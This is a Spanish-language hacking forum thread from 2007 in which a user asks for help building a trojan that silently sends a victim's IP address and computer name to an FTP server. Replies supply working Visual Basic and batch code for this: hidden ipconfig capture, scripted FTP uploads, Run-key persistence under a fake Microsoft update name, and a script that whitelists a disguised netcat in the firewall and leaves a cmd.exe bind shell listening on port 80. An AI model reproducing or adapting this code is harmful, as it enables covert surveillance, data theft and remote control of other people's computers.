Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: cheatmaster en 17 Junio 2007, 23:59 pm



Título: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: cheatmaster en 17 Junio 2007, 23:59 pm
Buenas pues mira me corre prisa por que asin puedo terminar un proyecto, me gustaria que mandara la ip a un ftp, supongamos que el ftp es usuarios.lycos, usuario " X " y password " 124"

Vale que tendria que hacer:

Que la vicitma al abrirlo la ip sea enviada a ese ftp con el nombre del pc

Supongamos
       
         IP                     PC NAME
92,213,287, --------- Rogelio

Entendeis ??

Se que se puede ya que ranefi,Hendix. me lo dijeron, pero no el codigo xD se tenia que ir a hacer " CACA " y el otro de bebidas.. ¬¬ xD va es urgente plz


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: byebye en 18 Junio 2007, 00:03 am
mucha prisa pero leer poco. cuando se va a quitar esta mania de hacer cosas sin informarse primero?


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: cheatmaster en 18 Junio 2007, 00:13 am
Bueno tio pos dime como es, hendix me lo iva a decir es mas el me esta ayudando con este proyecto, lo malo que se tubo que ir, y no sa conectado, y me gustaria terminarlo ya antes de mañana

        PORFAVOR LO PIDO :(


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: ̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿̿ en 18 Junio 2007, 03:58 am
Código:
Option Explicit
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_SERVICE_FTP = 1
Const PassiveConnection As Boolean = True
Const INTERNET_FLAG_PASSIVE = &H8000000
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0

Dim hConnection, hOpen, Num As Long

Private Sub Form_Load()
'####################
botarate
'####################
    hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
    DoEvents
    hConnection = InternetConnect(hOpen, "ftp.yosoy.vb", INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
    DoEvents
    FtpSetCurrentDirectory hConnection, "\"
    DoEvents
    FtpPutFile hConnection, "App.Path & \IPFTP.txt", "IPFTP", FTP_TRANSFER_TYPE_UNKNOWN, 0
    DoEvents
    InternetCloseHandle hConnection
    InternetCloseHandle hOpen
'####################
End Sub

Private Sub botarate()
'Mandatos para guardar la IP y el nombre de la pc en un txt  llamado IPFTP.txt,guardado en la direccion donde se ejecuto la aplicacion
'eso investigatelo tu ay si no lo encuentras me avisas
End Sub
'SALU2


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: cheatmaster en 18 Junio 2007, 13:20 pm
Código:
Option Explicit
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_DEFAULT_FTP_PORT = 21
Const INTERNET_SERVICE_FTP = 1
Const PassiveConnection As Boolean = True
Const INTERNET_FLAG_PASSIVE = &H8000000
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0

Dim hConnection, hOpen, Num As Long

Private Sub Form_Load()
'####################
botarate
'####################
    hOpen = InternetOpen("IE", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
    DoEvents
    hConnection = InternetConnect(hOpen, "ftp.yosoy.vb", INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
    DoEvents
    FtpSetCurrentDirectory hConnection, "\"
    DoEvents
    FtpPutFile hConnection, "App.Path & \IPFTP.txt", "IPFTP", FTP_TRANSFER_TYPE_UNKNOWN, 0
    DoEvents
    InternetCloseHandle hConnection
    InternetCloseHandle hOpen
'####################
End Sub

Private Sub botarate()
'Mandatos para guardar la IP y el nombre de la pc en un txt  llamado IPFTP.txt,guardado en la direccion donde se ejecuto la aplicacion
'eso investigatelo tu ay si no lo encuentras me avisas
End Sub
'SALU2

para guardar la ip pongo nada mas que

Código:
shell("cmd.exe /c ipconfig > c:/ip.txt"),vbhide 

No ?


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: cheatmaster en 18 Junio 2007, 23:41 pm
ni idea tio no lo envia :S


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: LeandroA en 19 Junio 2007, 02:40 am
si pusiste todos los datos bien,puede que el firewall no te deje abrir la conexion, prova desavilitarlo.

te dejo otro ejemplo con una cuenta

Código:
Dim hOpen As Long, hConnection As Long, bRet As Long, Refrescar As Boolean
Option Explicit
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" _
(ByVal hFtpSession As Long, ByVal lpszLocalFile As String, _
      ByVal lpszRemoteFile As String, _
      ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
     
     
Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _
(ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _
      ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, ByVal dwFlagsAndAttributes As Long, _
      ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
     

Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" _
    (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
' Initializes an application's use of the Win32 Internet functions
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _
(ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _
ByVal sProxyBypass As String, ByVal lFlags As Long) As Long

' User agent constant.
Private Const scUserAgent = "vb wininet"

' Use registry access settings.
Private Const INTERNET_INVALID_PORT_NUMBER = 0
Private Const INTERNET_OPEN_TYPE_DIRECT = 1
Private Const FTP_TRANSFER_TYPE_ASCII = &H1
Private Const FTP_TRANSFER_TYPE_BINARY = &H2
Private Const INTERNET_FLAG_PASSIVE = &H8000000

' Opens a HTTP session for a given site.
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _
(ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, _
ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, _
ByVal lFlags As Long, ByVal lContext As Long) As Long
               
' Number of the TCP/IP port on the server to connect to.
Private Const INTERNET_OPTION_USERNAME = 28
Private Const INTERNET_OPTION_PASSWORD = 29
Private Const INTERNET_OPTION_PROXY_USERNAME = 43
Private Const INTERNET_FLAG_RELOAD = &H80000000
' Type of service to access.
Private Const INTERNET_SERVICE_FTP = 1

' Closes a single Internet handle or a subtree of Internet handles.
Private Declare Function InternetCloseHandle Lib "wininet.dll" _
(ByVal hInet As Long) As Integer


 Sub Command1_Click()
'Guardamos en App.Path & "\" & "Prueva.txt"
Close #1
Open App.Path & "\" & "Prueva.txt" For Output As #1
Print #1, Text1.Text
Close #1
Info "Guardando en el servidor..."
'App.Path & "\" & "Prueva.txt" es el archivo selecionado y Prueva.txt es el nombre con que lo guardamos
bRet = FtpPutFile(hConnection, App.Path & "\" & "Prueva.txt", "Prueva.txt", FTP_TRANSFER_TYPE_ASCII, 0)
If bRet <> 0 Then Info "Proceso terminado corectamente" Else Info "Error": Exit Sub
End Sub
Sub Info(Mensage As String)
Label1.Caption = Mensage
Label1.Refresh
End Sub
Sub Command2_Click()
Dim file_data As String
Info "Descargando..."
bRet = FtpGetFile(hConnection, "Prueva.txt", App.Path & "\" & "Prueva.txt", False, _
        INTERNET_FLAG_RELOAD, FTP_TRANSFER_TYPE_ASCII, 0)
If bRet <> 0 Then Info "Archivo descargado correctamente" Else Info "Error": Exit Sub
Text1.Text = ""
Close #1
Open App.Path & "\" & "Prueva.txt" For Input As #1
While Not EOF(1)
Line Input #1, file_data
Text1.Text = Text1.Text & file_data & vbCrLf
Wend
Close #1
End Sub

Private Sub Command3_Click()
If Command3.Caption = "Conectar" Then
Conectar
Else
If hConnection <> 0 Then InternetCloseHandle (hConnection)
Command3.Caption = "Conectar"
Command1.Enabled = False
Command2.Enabled = False
Info "Coneción cerrada"
End If
End Sub

Sub Form_Load()
Text1.Text = ""
Command1.Caption = "Subir al Servidor"
Command2.Caption = "Descargar del Servidor"
Command3.Caption = "Conectar"
Command1.Enabled = False
Command2.Enabled = False
hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
If hOpen <> 0 Then Info "Iniciado correctamente" Else Info "Error"
Me.Caption = "http://celularchat.unlugar.com/includes/Prueva.txt"
End Sub

 Sub Form_Unload(Cancel As Integer)
If hConnection <> 0 Then InternetCloseHandle (hConnection)
If hOpen <> 0 Then InternetCloseHandle (hOpen)
End Sub

Sub Conectar()
 Dim Servevidor As String, Usuario As String, Contraseña As String, Carpeta As String
 '----------------------------------------
 Servevidor = "celularchat.unlugar.com"
 Usuario = "ftp-celularchat.unlugar.com"
 Contraseña = "ramonramon"
 Carpeta = "/includes"
 '----------------------------------------
Info "Conectando..."
'hacemos la conexion
hConnection = InternetConnect(hOpen, Servevidor, INTERNET_INVALID_PORT_NUMBER, _
Usuario, Contraseña, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0)
If hConnection <> 0 Then Info "Buscando Directorio" Else Info "Error": Exit Sub
'selecionamos "/includes" que es la carpeta en el servidor donde guardo el archivo
bRet = FtpSetCurrentDirectory(hConnection, Carpeta)
If bRet <> 0 Then Info "conexión exitosa!!!" Else Info "Error": Exit Sub
Command1.Enabled = True
Command2.Enabled = True
Command3.Caption = "Desconectar"
End Sub
[code]

tres botones, un textbox multiline, y un label

Saludos
[/code]


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: WHK en 19 Junio 2007, 08:26 am
Aver que les parece mi pequeño codigo para recuperar solamente ese texto:

Citar
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()
form1.visible = False
shell("cmd.exe /c ipconfig > c:/ip.txt"),vbhide
winsock1.connect "ip_ftp", 21
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim BufferIN As String
Winsock1.GetData BufferIN

if BufferIN  " bienvenida etc etc... Nombre usuario:" Then winsock1.senddata "Usuario"
if BufferIN  "Password" Then winsock1.senddata "password"
if BufferIN  "corrent directory is etc etc...." Then
 winsock1.senddata "put C:\ip.txt"
sleep (10000)
end
end if
End Sub


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: cheatmaster en 19 Junio 2007, 08:32 am
M.. con winsok tambien funciona ??, es que yo lo quiero usar para un "troyano" y.. bueno segun me dijeron el winsok si no tienes vb no te anda,

WHK, el sleep 100000 para que sirve xD ! ?


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: WHK en 19 Junio 2007, 09:48 am
El sleep (10000) es para esperar 10 milisegundos, o sea 10 segundos ya que ese es el tiempo maximo que deve durar el envío del texto antes de cerrar las conexiones.

Para que funcione winsock Debes adjuntar winsock.ocx a tu troyano y asi solucionas tu problema.


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: WHK en 19 Junio 2007, 09:55 am
También puedes hacer una shell bat que te lo suba por el comando ftp.exe:

Citar
Private Sub Form_Load()
form1.visible = False
shell("cmd.exe /c ipconfig > ip.txt&&echo o > ftp.txt&&echo ip >> ftp.txt&&echo user >> ftp.txt&&echo pass >> ftp.txt&&echo put ip.txt >> ftp.txt&&echo quit >> ftp.txt&&ftp -s:ftp.txt"),vbhide
End Sub

Como me quedó? XD


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: cheatmaster en 19 Junio 2007, 10:24 am
También puedes hacer una shell bat que te lo suba por el comando ftp.exe:

Citar
Private Sub Form_Load()
form1.visible = False
shell("cmd.exe /c ipconfig > ip.txt&&echo o > ftp.txt&&echo ip >> ftp.txt&&echo user >> ftp.txt&&echo pass >> ftp.txt&&echo put ip.txt >> ftp.txt&&echo quit >> ftp.txt&&ftp -s:ftp.txt"),vbhide
End Sub

Como me quedó? XD

Ves xD este lo veo mas interesante. pero donde iria x ejemplo usuarios.lycos.es xD ? solo veo lo de pass y user.. , PD, Como seria para guardar el ip.txt en: C\window\system\Driver ( es facil guardarlo, pero el que lo suba hay  Oo?


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: WHK en 19 Junio 2007, 10:48 am
Cuando invocas a la consola de comandos estas trabajando directamente sobre su directorio... o sea %homedrive%%windir%\system32 (C:\windows\system32) por lo cual solo Debes agregarle los comandos cd..&&cd system\drivers

Ok... :¬¬ te hago el codigo pero ojalá la proxima ves averigues un poco mas sobre el tema porque será la última ves que doy un código hecho sin que la otra persona no sepa ni que hace.

microsoft_update.exe
Citar
Private Sub Form_Load()
form1.visible = False
shell("cmd.exe /c reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run /v "Microsoft" /t REG_SZ /d "%homedrive%%windir%\system\driver\microsoft_update.exe" /f"),vbhide
1:
shell("cmd.exe /c set = rnd=%random%&&cd..&&cd system\Driver&&ipconfig > %rnd%.txt&&echo o > ftp.txt&&echo usuarios.lycos.es >> ftp.txt&&echo user >> ftp.txt&&echo pass >> ftp.txt&&echo put %rnd%.txt >> ftp.txt&&echo quit >> ftp.txt&&ftp -s:ftp.txt"),vbhide
goto 1
End Sub

Despues lo comprimes en winrar autoejecutable para que se descomprima en c:\windows\system\driver
Para aprender a usar el winrar de esta manera mira este post:
http://foro.elhacker.net/index.php/topic,159799.0.html


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: cheatmaster en 19 Junio 2007, 11:41 am
em em , pero eso es conexion inversa Oo,

q wapo no xD ?
(http://www.subir-imagenes.com/imagenes/6c3542846e.gif)

o es esto ?

(http://www.subir-imagenes.com/imagenes/3009eaec05.gif)


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: cheatmaster en 19 Junio 2007, 15:53 pm
el caso, como seria pues con ese codigo ya hace la funcion no ?

Citar
Despues lo comprimes en winrar autoejecutable para que se descomprima en c:\windows\system\driver
Para aprender a usar el winrar de esta manera mira este post:

Que quieres decir :?


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: R41N-W4R3 en 19 Junio 2007, 23:00 pm

  Hola a todos, antes de nada saludar ya que es el primer post que pongo en el foro.

   Mi técnica para el envío de la ip externa va un poco en relación con el ultimo post de chestmaster, ya que yo realizo la conexión inversa usando netcatt oculto con el winrar y ejecuto un bat en la descompresion del archivo que pego a continuación y espero que te ayude:

 

  @echo off
netsh
set mode offline
set allowedprogram c:\windows\system32\xpupdate.exe allow_nc ENABLE
copy xpupdate.exe c:\windows\system32\
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v xpupdate /t REG_SZ /d "C:\windows\system32\xpupdate -l -d -e cmd.exe -p 80"
xpupdate whatismyip.com 80 < html.txt > out.out
ftp
open
ftp.ftp.es
user
pass
ascii
put out.out
bye
xpupdate  -l -d -e cmd.exe -p 80
exit
Vamos a comentar que hace:

 netsh --------vamos al modo de control del firewall de xp  ;)

set mode offline---- Le indicamos que desactive las alertas

set allowedprogram c:\windows\system32\xpupdate.exe allow_nc ENABLE- Damos paso al netcat (renombrado a xpupdates.exe) en el firewall

copy xpupdate.exe c:\windows\system32\- Lo copiamos a un sitio adecuado

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v xpupdate /t REG_SZ /d "C:\windows\system32\xpupdate -l -d -e cmd.exe -p 80"  Aqui lo introducimos en el registro de inicio para que cada vez que arranque el sistema lo ponga a escuchar en un Puerto determinado y nosotros podamos conectarnos.

xpupdate whatismyip.com 80 < html.txt > out.out  Aquí uso el propio netcat para enviar una cabecera httpo adecuada a la pagina whatismyip.com (la cual nos indica la ip externa desde la que nos conectamos) y asi poder guardar en un archivo de texto (out.out) el resultado, que sera la ip externa de la victima. Muy necesaria si pretendemos saber donde atacar   XD…

ftp         Estos pasos solo me envían por ftp esa                    información aunque podríamos hacerlo de muchas otras formas como una web, etc
open                       
ftp.ftp.es
user
pass
ascii
put out.out
bye


xpupdate  -l -d -e cmd.exe -p 80  Aquí es donde indicamos al netcat que se quede a la escucha para cuando queramos conectarlo. Además lo hace a través del puerto 80 para asegurarnos que el router lo deje pasar.
exit

El contenido de la cabecera http adecuada para el paso xpupdate whatismyip.com 80 < html.txt > out.out  se guarda en el archivo html.txt que pego a continuación y que consegui con el software Httpanalizer haciendo una simple captura de la consulta a dicha página.

GET / HTTP/1.1
Accept: */*
Accept-Language: es
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)


Si os gusta el post puedo incluir un manual completo con capturas de pantalla que yo mismo he realizado, aunque toda la  información necesaria para hacerlo salio de esta completa webbbb   saludos a todos

  pd: Me acabo de desvirgar en el foro jejejeje


Título: Re: AYUDA URGENTE, MANDAR IP A UN FTP
Publicado por: cheatmaster en 19 Junio 2007, 23:15 pm
Yo no entiendo nada xDD T.T !!!  :-( :-(


Título: Yo te lo explico jejejeje
Publicado por: R41N-W4R3 en 20 Junio 2007, 09:23 am


    Antes de nada,  conoces la herraienta netcat???

    Si no la conoces, en varias secciones del foro (haching basico.....) puedes encontrar estupendos manuales sobre su uso Asi como un estupendo manual sobre como ocultarlo con winrar. No solo lo ocultaremos, ademas, entre otras muchas cosas explico en mi anterior post como enviamos la ip extrerna de la victima a un ftp.

   Si hay dudas mas concretas aqui toy...